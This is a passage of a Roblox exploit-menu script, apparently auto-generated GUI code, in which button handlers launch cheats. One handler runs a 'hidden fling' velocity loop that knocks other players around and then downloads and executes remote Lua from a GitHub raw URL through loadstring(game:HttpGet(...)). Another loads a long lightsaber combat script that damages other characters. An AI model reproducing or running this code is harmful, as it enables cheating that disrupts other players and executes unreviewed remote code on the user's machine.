task.spawn(C_8d);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
local function C_8f()
local script = G2L["8f"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		---------------------------------------------------------------------------------
	
		if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
			hiddenfling = true
		else
			hiddenfling = true
			detection = Instance.new("Decal")
			detection.Name = "juisdfj0i32i0eidsuf0iok"
			detection.Parent = game:GetService("ReplicatedStorage")
			local function fling()
				local hrp, c, vel, movel = nil, nil, nil, 0.1
				while true do
					game:GetService("RunService").Heartbeat:Wait()
					if hiddenfling then
						local lp = game.Players.LocalPlayer
						while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
							game:GetService("RunService").Heartbeat:Wait()
							c = lp.Character
							hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
						end
						if hiddenfling then
							vel = hrp.Velocity
							hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
							game:GetService("RunService").RenderStepped:Wait()
							if c and c.Parent and hrp and hrp.Parent then
								hrp.Velocity = vel
							end
							game:GetService("RunService").Stepped:Wait()
							if c and c.Parent and hrp and hrp.Parent then
								hrp.Velocity = vel + Vector3.new(0, movel, 0)
								movel = movel * -1
							end
						end
					end
				end
			end
	
			fling()
		end
	
		loadstring(game:HttpGet("https://raw.githubusercontent.com/Icalock/Server/refs/heads/main/Lua%20Hammer.txt", true))()
	
	end)
end;
task.spawn(C_8f);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
local function C_91()
local script = G2L["91"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		--MADE BY OneLegend (NOT THE SCRIPT) LOCAL SCRIPT: Go to line 4 and 1351 and put your name where it says "YOUR NAME HERE"
	
		Players = game:GetService("Players")
		Player = Players.LocalPlayer
		Bp = Player.Backpack
		Pg = Player.PlayerGui
		Char = Player.Character
		Head = Char.Head
		Torso = Char.Torso
		Hum = Char.Humanoid
		Humanoid = Hum
		Neck = Torso["Neck"]
		LS = Torso["Left Shoulder"]
		RS = Torso["Right Shoulder"]
		Ra = Char["Right Arm"]
		La = Char["Left Arm"]
		mouse = nil
		Mouse = nil
	
		bets =
			{"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"," "}
		inew = Instance.new
		it = Instance.new
		bc = BrickColor.new
		vn = Vector3.new
		cn = CFrame.new
		ca = CFrame.Angles
		mpi = math.pi
		v3 = vn
		mr = math.rad
		br = BrickColor.new
		cf = CFrame.new
		ca = CFrame.Angles
		Colors = {"Really Red"}
		BladeColor = tostring(BrickColor.Random()) --Colors[math.random(1,#Colors)]
		TrailColor = BladeColor
		HopperName = "light saber"
		Rage = 100000
		MaxRage = Rage
		SwordType = "Single"
		LeftDebounce = {}
		RightDebounce = {}
		OtherDebounce = {}
		Anim = {key = {}}
		for i=1,#bets do table.insert(Anim.key,bets) end
		Anim.Move = "None"
		Anim.Click = false
		Anim.Button = false
		Anim.CanBerserk = 0
		Anim.ComboBreak = false
		Anim.Equipped = false
		keydown = false
		Speed = 2
		RageIncome = 500
		Left = false
		Right = false
		Anim.Act = false
		RealSpeed = 35
		DebounceSpeed = 0.85/Speed
		RageCost = {
			["Berserk"] = 200;
			["RotorBlade"] = 30;
			["Blocking"] = 0.1;
			["Boomerang"] = 30;
			["RageRegening"] = -0.7;
			["BoulderForce"] = 45;
			["ForceWave"] = 65;
			["ForceWave"] = 32;
			["Teleport"] = 25;
			["DualSpin"] = 4;
		}
		MagnitudeHit = {
			["ForceWave"] = 500;
		}
		Damage = {
			["RotorBlade"] = 0;
			["BoulderForce"] = 0;
			["Boomerang"] = 0;
			["ForceWave"] = 0;
			["DualSpin"] = 0;
		}
		Props = {}
		Props.MaxTeleDistance = 500
		Props.Buff = 1
		BlastMesh = Instance.new("FileMesh")
		BlastMesh.MeshId = "http://www.roblox.com/asset/?id=20329976"
		RingMesh = Instance.new("FileMesh")
		RingMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
		RockMesh = Instance.new("FileMesh")
		RockMesh.MeshId = "http://www.roblox.com/asset/?id=1290033"
		RockMesh.TextureId = "http://www.roblox.com/asset/?id=1290030"
		DiamondMesh = Instance.new("FileMesh")
		DiamondMesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
		RingMesh = Instance.new("FileMesh")
		RingMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
		RockMesh = Instance.new("FileMesh")
		RockMesh.MeshId = "http://www.roblox.com/asset/?id=1290033"
		RockMesh.TextureId = "http://www.roblox.com/asset/?id=1290030"
		DiamondMesh = Instance.new("FileMesh")
		DiamondMesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
		RockMesh = Instance.new("FileMesh")
		RockMesh.MeshId = "http://www.roblox.com/asset/?id=1290033"
		RockMesh.TextureId = "http://www.roblox.com/asset/?id=1290030"
		DiamondMesh = Instance.new("FileMesh")
		DiamondMesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
		DiamondMesh = Instance.new("FileMesh")
		DiamondMesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
	
		function rayCast(Pos, Dir, Max, Ignore)
			return Workspace:FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore)
		end
		function MinusRage(raggge)
			Rage = Rage - raggge
			if Rage < 0 then Rage = 0 end
		end
	
		function r(zParent,zName)
			if zParent:findFirstChild(zName) ~= nil then
				zParent[zName]:Remove()
			else
			end
		end
		function rclass(zParent,zClass)
			local ch = zParent:GetChildren()
			for i=1,#ch do
				if (ch.className == zClass) then
					ch:Remove()
				else
				end
			end
		end
	
		function fWeld(zName,zParent,zPart0,zPart1,zCoco,a,b,c,d,e,f)
			local funcw = Instance.new("Weld")
			funcw.Name = zName
			funcw.Parent = zParent
			funcw.Part0 = zPart0
			funcw.Part1 = zPart1
			if (zCoco == true) then
				funcw.C0 = CFrame.new(a,b,c) *CFrame.fromEulerAnglesXYZ(d,e,f)
			else
				funcw.C1 = CFrame.new(a,b,c) *CFrame.fromEulerAnglesXYZ(d,e,f)
			end
			return funcw
		end
		function Dash(ob,se,mes,of)
			local off = nil
			if of == nil then off = 0 else off = of end
			pcall(function()
				coroutine.resume(coroutine.create(function()
					local dashin = true
					local oldpos = (ob.CFrame *CFrame.new(0,off,0)).p
					coroutine.resume(coroutine.create(function()
						wait(se) dashin = false end))
					for i=1,9999 do
						if dashin == false then break end
						local newpos = (ob.CFrame *CFrame.new(0,off,0)).p --+ Vector3.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
						local np = Instance.new("Part")
						np.BrickColor = BrickColor.new(TrailColor) np.CanCollide = false
						np.BottomSurface = 0 np.TopSurface = 0 np.Anchored = true np.Transparency = 0.4
						np.formFactor = "Custom" np.Parent = ob local mag = math.abs((newpos - oldpos).magnitude)
						local mp = nil
						if mes ~= nil then
							np.Size = Vector3.new(2,mag,2) mp = Instance.new("FileMesh",np) mp.MeshId = mes else
							np.Size = Vector3.new(0.4,0.4,mag) mp = Instance.new("BlockMesh",np) end
						np.CFrame = CFrame.new(newpos,oldpos)
						np.CFrame = np.CFrame + np.CFrame.lookVector* (mag/2)
						if mes == BlastMesh.MeshId then np.CFrame = np.CFrame *ca(mr(-90),0,0) else np.CFrame = np.CFrame *ca(0,0,mr(-45)) end
						oldpos = newpos
						coroutine.resume(coroutine.create(function()
							for i=1,0,-0.1 do
								np.Transparency = np.Transparency + 0.03
								--if mes ~= nil then
								--mp.Scale = Vector3.new(i,mag,i) else
								mp.Scale = Vector3.new(i,i,1) -- end
								wait()
							end
							np:Remove()
						end))
						wait(0.08)
					end
				end))
			end)
		end
		Sounds = {
			Boom = "http://www.roblox.com/asset/?id=16976189";
			SniperFire = "http://www.roblox.com/asset/?id=1369158";
			ShotgunFire2 = "http://www.roblox.com/asset/?id=1868836";
			MinigunFire = "http://www.roblox.com/asset/?id=2692806";
			MinigunCharge = "http://www.roblox.com/asset/?id=2692844";
			MinigunDischarge = "http://www.roblox.com/asset/?id=1753007";
			Flashbang = "http://www.roblox.com/asset/?id=16976189";
			Beep = "http://www.roblox.com/asset/?id=15666462";
			Smash = "http://www.roblox.com/asset/?id=2801263";
			Punch = "http://www.roblox.com/asset/?id=31173820";
			Slash = "rbxasset://sounds/swordslash.wav";
			Falcon = "http://www.roblox.com/asset/?id=1387390";
			Cast = "http://www.roblox.com/asset/?id=2101137";
			Spin = "http://www.roblox.com/asset/?id=1369159";
			Abscond = "http://www.roblox.com/asset/?id=2767090";
			ElectricalCharge = "http://www.roblox.com/asset/?id=2800815";
			FireExplosion = "http://www.roblox.com/asset/?id=3264793";
			SaberLightUp = "http://www.roblox.com/asset/?id=10209303";
			SaberSlash = "http://www.roblox.com/asset/?id=10209280";
			SaberHit = "http://www.roblox.com/asset/?id=44463749";
			EnergyBlast = "http://www.roblox.com/asset/?id=10209268";
		}
		function Sound(sid,pit,vol)
			local ss = Instance.new("Sound")
			ss.Name = "Sound"
			ss.Parent = Head
			ss.SoundId = sid
			ss.Pitch = pit
			ss.Volume = vol
			ss.PlayOnRemove = true
			wait()
			ss:Remove()
		end
	
	
		r(Char,"SwordPack")
		r(Char,"Suit")
		r(Char,"Saber" ..Player.Name)
		r(Pg,"Sabers")
		Suit = inew("Model")
		Suit.Name = "Suit"
		Suit.Parent = Char
		function p(pa,sh,x,y,z,c,a,tr,re,bc)
			local fp = it("Part",pa)
			fp.formFactor = "Custom"
			fp.Shape = sh
			fp.Size = v3(x,y,z)
			fp.CanCollide = c
			fp.Anchored = a
			fp.BrickColor = br(bc)
			fp.Transparency = tr
			fp.Reflectance = re
			fp.BottomSurface = 0
			fp.TopSurface = 0
			fp.CFrame = Torso.CFrame
			fp:BreakJoints()
			return fp
		end
		function weld(pa,p0,p1,x,y,z,a,b,c)
			local fw = it("Weld",pa)
			fw.Part0 = p0
			fw.Part1 = p1
			fw.C0 = cf(x,y,z) *ca(a,b,c)
			return fw
		end
		function ft(tab,nam)
			if tab == nil or nam == nil then print("U: Fail table") return false end
			for i=1,#tab do
				if tab == nam then
					return i
				else
				end
			end
			return nil
		end
		function spm(ty,pa,ssx,ssy,ssz)
			local sp = it("SpecialMesh",pa)
			sp.MeshType = ty
			sp.Scale = Vector3.new(ssx,ssy,ssz)
			return sp
		end
		Torso.Transparency = 1
		Torm = Instance.new("Model",Char)
		Torm.Name = "Saber" ..Player.Name
		Tor = p(Torm,"Block",1.98,1.98,1,false,false,0,0,"basda") Tor.Name = "Torso"
		Torw = weld(Tor,Torso,Tor,0,0,0,0,0,0)
		pcall(function() Char.Shirt:Clone().Parent = Torm end)
		pcall(function() Char.Pants:Clone().Parent = Torm end)
		function ShockWave(onb,scale,col)
			coroutine.resume(coroutine.create(function()
				local e1 = Instance.new("Part")
				e1.Anchored = true
				e1.formFactor = "Custom"
				e1.CanCollide = false
				e1.Size = Vector3.new(1,1,1)
				e1.BrickColor = BrickColor.new(col)
				e1.Transparency = 0.6
				e1.TopSurface = 0
				e1.BottomSurface = 0
				e1.Parent = Torm
				e1.CFrame = onb.CFrame
				e1.CFrame = e1.CFrame *CFrame.Angles(math.rad(-90),0,0)
				local e1m = Instance.new("SpecialMesh")
				e1m.MeshType = "FileMesh"
				e1m.Scale = Vector3.new(3,3,3)
				e1m.Parent = e1
				e1m.MeshId = RingMesh.MeshId
				local r1 = Instance.new("Part")
				r1.Anchored = true
				r1.formFactor = "Custom"
				r1.CanCollide = false
				r1.Size = Vector3.new(1,1,1)
				r1.BrickColor = BrickColor.new(col)
				r1.Transparency = 0.6
				r1.TopSurface = 0
				r1.BottomSurface = 0
				r1.Parent = Torm
				r1.CFrame = e1.CFrame *CFrame.Angles(math.rad(90),0,0)
				local r1m = Instance.new("SpecialMesh")
				r1m.MeshType = "FileMesh"
				r1m.Scale = Vector3.new(3,3,3)
				r1m.Parent = r1
				r1m.MeshId = BlastMesh.MeshId
				for i=1,30 do
					local pluscal = scale/38
					e1m.Scale = e1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
					r1m.Scale = r1m.Scale + Vector3.new(pluscal/1.5,pluscal/3,pluscal/1.5)
					r1.CFrame = r1.CFrame * CFrame.Angles(0,math.rad(6),0)
					wait()
				end
				for i=1,30 do
					local pluscal = scale/38
					e1m.Scale = e1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
					r1m.Scale = r1m.Scale + Vector3.new(pluscal/1.5,pluscal/4,pluscal/1.5)
					r1.CFrame = r1.CFrame * CFrame.Angles(0,math.rad(6),0)
					e1.Transparency = e1.Transparency + 0.1
					r1.Transparency = r1.Transparency + 0.1
					wait()
				end
				e1:Remove()
				r1:Remove()
			end))
		end
	
		function Explode(onb,scale,col)
			coroutine.resume(coroutine.create(function()
				local e1 = Instance.new("Part")
				e1.Anchored = true
				e1.formFactor = "Custom"
				e1.CanCollide = false
				e1.Size = Vector3.new(1,1,1)
				e1.BrickColor = BrickColor.new(col)
				e1.Transparency = 0.6
				e1.TopSurface = 0
				e1.BottomSurface = 0
				e1.Parent = Torm
				e1.CFrame = onb.CFrame
				local e1m = Instance.new("SpecialMesh")
				e1m.MeshType = "Sphere"
				e1m.Parent = e1
				local r1 = Instance.new("Part")
				r1.Anchored = true
				r1.formFactor = "Custom"
				r1.CanCollide = false
				r1.Size = Vector3.new(1,1,1)
				r1.BrickColor = BrickColor.new(col)
				r1.Transparency = 0.6
				r1.TopSurface = 0
				r1.BottomSurface = 0
				r1.Parent = Torm
				r1.CFrame = e1.CFrame *CFrame.Angles(math.rad(180),0,0)
				local r1m = Instance.new("SpecialMesh")
				r1m.MeshType = "FileMesh"
				r1m.Scale = Vector3.new(3,3,3)
				r1m.Parent = r1
				r1m.MeshId = RingMesh.MeshId
				local r2 = Instance.new("Part")
				r2.Anchored = true
				r2.formFactor = "Custom"
				r2.CanCollide = false
				r2.Size = Vector3.new(1,1,1)
				r2.BrickColor = BrickColor.new(col)
				r2.Transparency = 0.6
				r2.TopSurface = 0
				r2.BottomSurface = 0
				r2.Parent = Torm
				r2.CFrame = e1.CFrame *CFrame.Angles(0,math.rad(180),0)
				local r2m = Instance.new("SpecialMesh")
				r2m.MeshType = "FileMesh"
				r2m.Parent = r2
				r2m.Scale = Vector3.new(3,3,3)
				r2m.MeshId = RingMesh.MeshId
				local bla = Instance.new("Part")
				bla.Anchored = true
				bla.formFactor = "Custom"
				bla.CanCollide = false
				bla.Size = Vector3.new(1,1,1)
				bla.BrickColor = BrickColor.new(col)
				bla.Transparency = 0.6
				bla.TopSurface = 0
				bla.BottomSurface = 0
				bla.Parent = Torm
				bla.CFrame = CFrame.new(e1.Position.x,e1.Position.y,e1.Position.z)
				local blam = Instance.new("SpecialMesh")
				blam.MeshType = "FileMesh"
				blam.Parent = bla
				blam.Scale = Vector3.new(5,5,5)
				blam.MeshId = BlastMesh.MeshId
				for i=1,30 do
					local pluscal = scale/38
					e1m.Scale = e1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
					r1m.Scale = r1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
					r2m.Scale = r1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
					blam.Scale = blam.Scale + Vector3.new(pluscal,pluscal/2,pluscal)
					bla.CFrame = bla.CFrame * CFrame.Angles(0,math.rad(12),0)
					r1.CFrame = r1.CFrame * CFrame.Angles(math.rad(6),0,0)
					r2.CFrame = r2.CFrame * CFrame.Angles(0,math.rad(6),0)
					wait()
				end
				for i=1,30 do
					local pluscal = scale/38
					e1m.Scale = e1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
					r1m.Scale = r1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
					r2m.Scale = r1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
					blam.Scale = blam.Scale + Vector3.new(pluscal/1.5,pluscal/3,pluscal/1.5)
					bla.CFrame = bla.CFrame * CFrame.Angles(0,math.rad(12),0)
					r1.CFrame = r1.CFrame * CFrame.Angles(math.rad(6),0,0)
					r2.CFrame = r2.CFrame * CFrame.Angles(0,math.rad(6),0)
					bla.Transparency = bla.Transparency + 0.1
					e1.Transparency = e1.Transparency + 0.1
					r1.Transparency = r1.Transparency + 0.1
					r2.Transparency = r2.Transparency + 0.1
					wait()
				end
				e1:Remove()
				r1:Remove()
				r2:Remove()
			end))
		end
		H1 = p(Torm,"Block",0.5,0.9,0.5,false,false,0,0.1,"Medium stone grey") spm("Head",H1,1,1.3,1)
		H1w = weld(Tor,Torso,H1,0.4,-0.7,0.5,0,0,mr(45))
		H2 = p(Torm,"Block",0.5,0.9,0.5,false,false,0,0.1,"Medium stone grey") spm("Head",H2,1,1.3,1)
		H2w = weld(Tor,H1,H2,0,-0.8,0,mr(180),0,0)
		Des1 = p(Torm,"Block",0.6,0.1,0.6,false,false,0,0.1,"Black") Instance.new("CylinderMesh",Des1)
		Des1w = weld(Tor,H1,Des1,0,0.5,0,0,0,0)
		Des2 = p(Torm,"Block",0.6,0.1,0.6,false,false,0,0.1,"Black") Instance.new("CylinderMesh",Des2)
		Des2w = weld(Tor,H2,Des2,0,0.5,0,0,0,0)
		Des21 = p(Torm,"Block",0.6,0.1,0.6,false,false,0,0.1,"Black") Des21m = Instance.new("CylinderMesh",Des21) Des21m.Scale = Vector3.new(1,0.6,1)
		Des21w = weld(Tor,H1,Des21,0,-0.55,0,0,0,0)
		Des22 = p(Torm,"Block",0.6,0.1,0.6,false,false,0,0.1,"Black") Des22m = Instance.new("CylinderMesh",Des22) Des22m.Scale = Vector3.new(1,0.6,1)
		Des22w = weld(Tor,H2,Des22,0,-0.55,0,0,0,0)
	
		Blad1 = p(Torm,"Block",0.3,4,0.3,false,false,1,0.25,BladeColor) M1 = spm("Head",Blad1,1,1,1)
		Blad1w = weld(Tor,H1,Blad1,0,1.9,0,0,0,0)
		Blad2 = p(Torm,"Block",0.3,4,0.3,false,false,1,0.25,BladeColor) M2 = spm("Head",Blad2,1,1,1)
		Blad2w = weld(Tor,H2,Blad2,0,1.9,0,0,0,0)
		Glow1 = p(Torm,"Block",0.47,4.2,0.47,false,false,1,0,BladeColor) GM1 = spm("Head",Glow1,1,1,1)
		Glow1w = weld(Tor,H1,Glow1,0,1.9,0,0,0,0)
		Glow2 = p(Torm,"Block",0.47,4.2,0.47,false,false,1,0,BladeColor) GM2 = spm("Head",Glow2,1,1,1)
		Glow2w = weld(Tor,H2,Glow2,0,1.9,0,0,0,0)
	
		r(Bp,HopperName)
		bin = inew("HopperBin")
		bin.Name = HopperName
		bin.Parent = Bp
	
		Gui = Instance.new("ScreenGui",Pg)
		Gui.Name = "Sabers"
		Frame = Instance.new("Frame",Gui)
		Frame.BackgroundTransparency = 1 Frame.Size = UDim2.new(1,0,1,0)
		ImageGui = Instance.new("ImageLabel",Frame)
		ImageGui.Image = "http://www.roblox.com/asset/?id=51262246"
		ImageGui.BackgroundTransparency = 1
		ImageGui.Size = UDim2.new(0.3,0,0.075,0)
		HealthBar = Instance.new("ImageLabel",Frame)
		HealthBar.Image = "http://www.roblox.com/asset/?id=48965808"
		HealthBar.BorderSizePixel = 0
		HealthBar.Size = UDim2.new(0.23,0,0.017,0)
		HealthBar.Position = UDim2.new(0.06,0,0.017,0)
		RageBar = Instance.new("ImageLabel",Frame)
		RageBar.Image = "http://www.roblox.com/asset/?id=48965808"
		RageBar.BorderSizePixel = 0
		RageBar.Size = UDim2.new(0.165,0,0.012,0)
		RageBar.Position = UDim2.new(0.06,0,0.04,0)
		RageBar.BackgroundColor3 = BrickColor.new("Alder").Color
		SelectBar = Instance.new("ImageButton",Frame)
		SelectBar.Image = "http://www.roblox.com/asset/?id=48965808"
		SelectBar.BorderSizePixel = 0
		SelectBar.Size = UDim2.new(0.1,0,0.07,0)
		SelectBar.Position = UDim2.new(0.8,0,0.6,0)
		SelectBar.BackgroundColor3 = BrickColor.new(BladeColor).Color
		SelectrBar = Instance.new("TextLabel",SelectBar)
		SelectrBar.BackgroundTransparency = 1
		SelectrBar.BorderSizePixel = 0
		SelectrBar.Size = UDim2.new(0,0,0,0)
		SelectrBar.Position = UDim2.new(0.5,0,0.5,0)
		SelectrBar.Font = "ArialBold"
		SelectrBar.FontSize = "Size18"
		SelectBar.MouseButton1Up:connect(function()
			if Anim.Move ~= "None" then return end
			if Anim.Act == true then return end
			if Anim.Equipped == false then return end
			if SwordType == "Single" then
				Anim.Move = "Changing"
				Anims.ChangeToDual(0,1,0.065*Speed) SwordType = "Dual"
				Anim.Move = "None"
			else
				Anim.Move = "Changing"
				Anims.ChangeToSingle(0,1,0.065*Speed) SwordType = "Single"
				Anim.Move = "None"
			end
		end)
		coroutine.resume(coroutine.create(function()
			while true do
				wait(0.05)
				local hh = Hum.Health local hmh = Hum.MaxHealth
				HealthBar.Size = UDim2.new((hh/hmh)*0.23,0,0.017,0)
				if ((hh/hmh)*100) > 75 then
					HealthBar.BackgroundColor3 = BrickColor.new("Alder").Color
				elseif ((hh/hmh)*100) > 25 and ((hh/hmh)*100) < 76 then
					HealthBar.BackgroundColor3 = BrickColor.new("Deep orange").Color
				elseif ((hh/hmh)*100) < 26 then
					HealthBar.BackgroundColor3 = BrickColor.new("Bright red").Color
				end
				RageBar.Size = UDim2.new((Rage/MaxRage)*0.165,0,0.012,0)
				SelectrBar.Text = SwordType
			end
		end))
		-------
		function TellXPos(brick1,posd)
			local lb = p(nil,"Block",1,1,1,true,false,1,0.1,BladeColor)
			lb.CFrame = CFrame.new((brick1.CFrame *cf(-10,0,0)).p)
			local rb = p(nil,"Block",1,1,1,true,false,1,0.1,BladeColor)
			rb.CFrame = CFrame.new((brick1.CFrame *cf(10,0,0)).p)
			local posml = math.abs((posd - rb.Position).magnitude)
			local posmr = math.abs((posd - lb.Position).magnitude)
			if posml > posmr then
				return "left"
			else
				return "right"
			end
		end
		function GetNearPlayer(urpos,maxmag)
			if maxmag == nil then return nil end
			for i,v in pairs(game.Players:GetChildren()) do
				if v.Character ~= Char and v.Character ~= nil and v.Character:findFirstChild("Torso") ~= nil and math.abs((v.Character.Torso.Position-urpos).magnitude) < maxmag then
					return v.Character.Torso
				end
			end
			return nil
		end
		function Dmgz(hum,dmg)
			dmg = dmg*Props.Buff
			hum.Health = hum.Health - dmg
			Rage = Rage + ((dmg/1.25)*RageIncome)
			if Rage > MaxRage then Rage = MaxRage end
		end
		coroutine.resume(coroutine.create(function()
			while true do
				wait()
				if Right == true and Anim.Move == "ForceWave" then
					for i,v in pairs(workspace:GetChildren()) do
						coroutine.resume(coroutine.create(function()
							if v ~= Char and v ~= nil and v:findFirstChild("Torso") ~= nil and math.abs((v.Torso.Position-Blad2.Position).magnitude) < MagnitudeHit[Anim.Move] then
								local hit = v.Torso
								if hit ~= nil and hit.Parent:findFirstChild("Humanoid") ~= nil and ft(RightDebounce,hit.Parent.Name) == nil then
									Dmgz(hit.Parent.Humanoid,Damage[Anim.Move])
									table.insert(RightDebounce,hit.Parent.Name)
									wait(DebounceSpeed) local nf = ft(RightDebounce,hit.Parent.Name) if nf ~= nil then table.remove(RightDebounce,nf) end
								end
							else
								if v:IsA("BasePart") and v.Anchored == false and math.abs((v.Position-Blad2.Position).magnitude) < MagnitudeHit[Anim.Move] then v:BreakJoints() v.Velocity = cf(Blad2.Position,v.Position).lookVector*30 + Vector3.new(0,20,0) end
							end
						end))
					end -- for
				end
			end
		end))
		Blad1.Touched:connect(function(hit)
			if Left == true then
				if hit ~= nil and hit.Parent:findFirstChild("Humanoid") ~= nil and ft(LeftDebounce,hit.Parent.Name) == nil then
					coroutine.resume(coroutine.create(function()
						table.insert(LeftDebounce,hit.Parent.Name)
						wait(DebounceSpeed) local nf = ft(LeftDebounce,hit.Parent.Name) if nf ~= nil then table.remove(LeftDebounce,nf) end
					end))
					Sound(Sounds.SaberHit,1,1)
					Dmgz(hit.Parent.Humanoid,Damage[Anim.Move])
				else
					--if hit.Parent:findFirstChild("Humanoid") == nil and not hit:IsDescendantOf(Char) and hit.Anchored == false then hit:BreakJoints() hit.Velocity = cf(Blad1.Position,hit.Position).lookVector*30 end
				end
			end
		end)
	
		Blad2.Touched:connect(function(hit)
			if Right == true then
				if hit ~= nil and hit.Parent:findFirstChild("Humanoid") ~= nil and ft(RightDebounce,hit.Parent.Name) == nil then
					coroutine.resume(coroutine.create(function()
						table.insert(RightDebounce,hit.Parent.Name)
						wait(DebounceSpeed) local nf = ft(RightDebounce,hit.Parent.Name) if nf ~= nil then table.remove(RightDebounce,nf) end
					end))
					Sound(Sounds.SaberHit,1,1)
					Dmgz(hit.Parent.Humanoid,Damage[Anim.Move])
				else
					--if hit.Parent:findFirstChild("Humanoid") == nil and not hit:IsDescendantOf(Char) and hit.Anchored == false then hit:BreakJoints() hit.Velocity = cf(Blad2.Position,hit.Position).lookVector*30 end
				end
			end
		end)
		LW = inew("Weld")
		RW = inew("Weld")
		Fla = p(Torm,"Block",1,2,1,false,false,1,0,BladeColor)
		Fra = p(Torm,"Block",1,2,1,false,false,1,0,BladeColor)
		Flaw = fWeld("Weld",Fla,Tor,Fla,true,-1.5,0.5,0,0,0,0)
		Fraw = fWeld("Weld",Fla,Tor,Fra,true,1.5,0.5,0,0,0,0)
		Flaw.C1 = CFrame.new(0,0.5,0)
		Fraw.C1 = CFrame.new(0,0.5,0)
	
		Fll = p(Torm,"Block",1,2,1,false,false,1,0,BladeColor)
		Frl = p(Torm,"Block",1,2,1,false,false,1,0,BladeColor)
		Fllw = fWeld("Weld",Fll,Torso,Fll,true,0,0,0,0,0,0)
		Frlw = fWeld("Weld",Fll,Torso,Frl,true,0,0,0,0,0,0)
	
		function FeetWeld(yesorno,lhh,rhh)
			if yesorno == false then
				lhh.Parent = nil
				rhh.Parent = nil
				Lh.Parent = Torso
				Rh.Parent = Torso
				Lh.Part0 = Tor
				Rh.Part0 = Tor
				Lh.Part1 = Char["Left Leg"]
				Rh.Part1 = Char["Right Leg"]
				return Lh,Rh
			else
				Rh.Parent = nil
				Lh.Parent = nil
				local hl,hr = it("Weld",Torso),it("Weld",Torso)
				hl.Part0 = Fll
				hr.Part0 = Frl
				hl.Part1 = Char["Left Leg"]
				hr.Part1 = Char["Right Leg"]
				hr.C1 = cf(-0.5,1.75,0)
				hl.C1 = cf(0.5,1.75,0)
				return hl,hr
			end
		end
		Anims = {}
		Anims.Equip = function(i1,i2,is)
			Anim.Act = true
			for i=i1,i2,is do
				RW.C1 = ca(mr(40*i),mr(20*i),0)
				RW.C0 = cf(-0.4*i,-0.1*i,0.4*i)
				wait()
			end
			H1w.Part0 = Ra
			H1w.Part1 = H1
			H1w.C0 = cf(0,-1.1,0) *ca(0,mr(180),0) H1w.C1 = ca(mr(-90),0,0)
			Sound(Sounds.Slash,1,1)
			for i=i1,i2,is do
				H1w.C0 = cf(0,-1.1,0) *ca(0,mr(90+(270*i)),0)
				LW.C1 = ca(mr(-80*i),mr(40*i),0)
				LW.C0 = cf(0.6*i,0.3*i,-1*i)
				RW.C1 = ca(mr(40+(-120*i)),mr(20+(-60*i)),0)
				RW.C0 = cf(-0.4+(-0.2*i),-0.1+(0.4*i),0.4+(-1.4*i))
				wait()
			end
			Sound(Sounds.SaberLightUp,3,1)
			for i=i1,i2,is do
				Blad1w.C0 = cf(0,0.95+(0.95*i),0)
				Blad2w.C0 = cf(0,0.95+(0.95*i),0)
				M1.Scale = Vector3.new(1,1*i,1)
				M2.Scale = Vector3.new(1,1*i,1)
				Blad1.Transparency = 0.9-(1*i)
				Blad2.Transparency = 0.9-(1*i)
				Glow1w.C0 = cf(0,0.95+(0.95*i),0)
				Glow2w.C0 = cf(0,0.95+(0.95*i),0)
				GM1.Scale = Vector3.new(1,1*i,1)
				GM2.Scale = Vector3.new(1,1*i,1)
				Glow1.Transparency = 1.05-(0.5*i)
				Glow2.Transparency = 1.05-(0.5*i)
				wait()
			end
			Anim.Act = false
		end
		Anims.UnEquip = function(i1,i2,is)
			Anim.Act = true
			Sound(Sounds.SaberLightUp,3,1)
			for i=i1,i2,is do
				Blad1w.C0 = cf(0,0.95+(0.95*i),0)
				Blad2w.C0 = cf(0,0.95+(0.95*i),0)
				M1.Scale = Vector3.new(1,1*i,1)
				M2.Scale = Vector3.new(1,1*i,1)
				Blad1.Transparency = 0.9-(1*i)
				Blad2.Transparency = 0.9-(1*i)
				Glow1w.C0 = cf(0,0.95+(0.95*i),0)
				Glow2w.C0 = cf(0,0.95+(0.95*i),0)
				GM1.Scale = Vector3.new(1,1*i,1)
				GM2.Scale = Vector3.new(1,1*i,1)
				Glow1.Transparency = 1.05-(0.5*i)
				Glow2.Transparency = 1.05-(0.5*i)
				wait()
			end
			Sound(Sounds.Slash,1,1)
			for i=i1,i2,is do
				H1w.C0 = cf(0,-1.1,0) *ca(0,mr(90+(270*i)),0)
				LW.C1 = ca(mr(-80*i),mr(40*i),0)
				LW.C0 = cf(0.6*i,0.3*i,-1*i)
				RW.C1 = ca(mr(40+(-120*i)),mr(20+(-60*i)),0)
				RW.C0 = cf(-0.4+(-0.2*i),-0.1+(0.4*i),0.4+(-1.4*i))
				wait()
			end
			H1w.Part0 = Torso
			H1w.Part1 = H1
			H1w.C0 = cf(0.4,-0.7,0.5) *ca(0,0,mr(45))
			H1w.C1 = cf(0,0,0) *ca(0,0,0)
			for i=i1,i2,is do
				RW.C1 = ca(mr(40*i),mr(20*i),0)
				RW.C0 = cf(-0.4*i,-0.1*i,0.4*i)
				wait()
			end
			Anim.Act = false
		end
		Anims.ChangeToDual = function(i1,i2,is)
			Anim.Act = true
			for i=i1,i2,is*Speed do
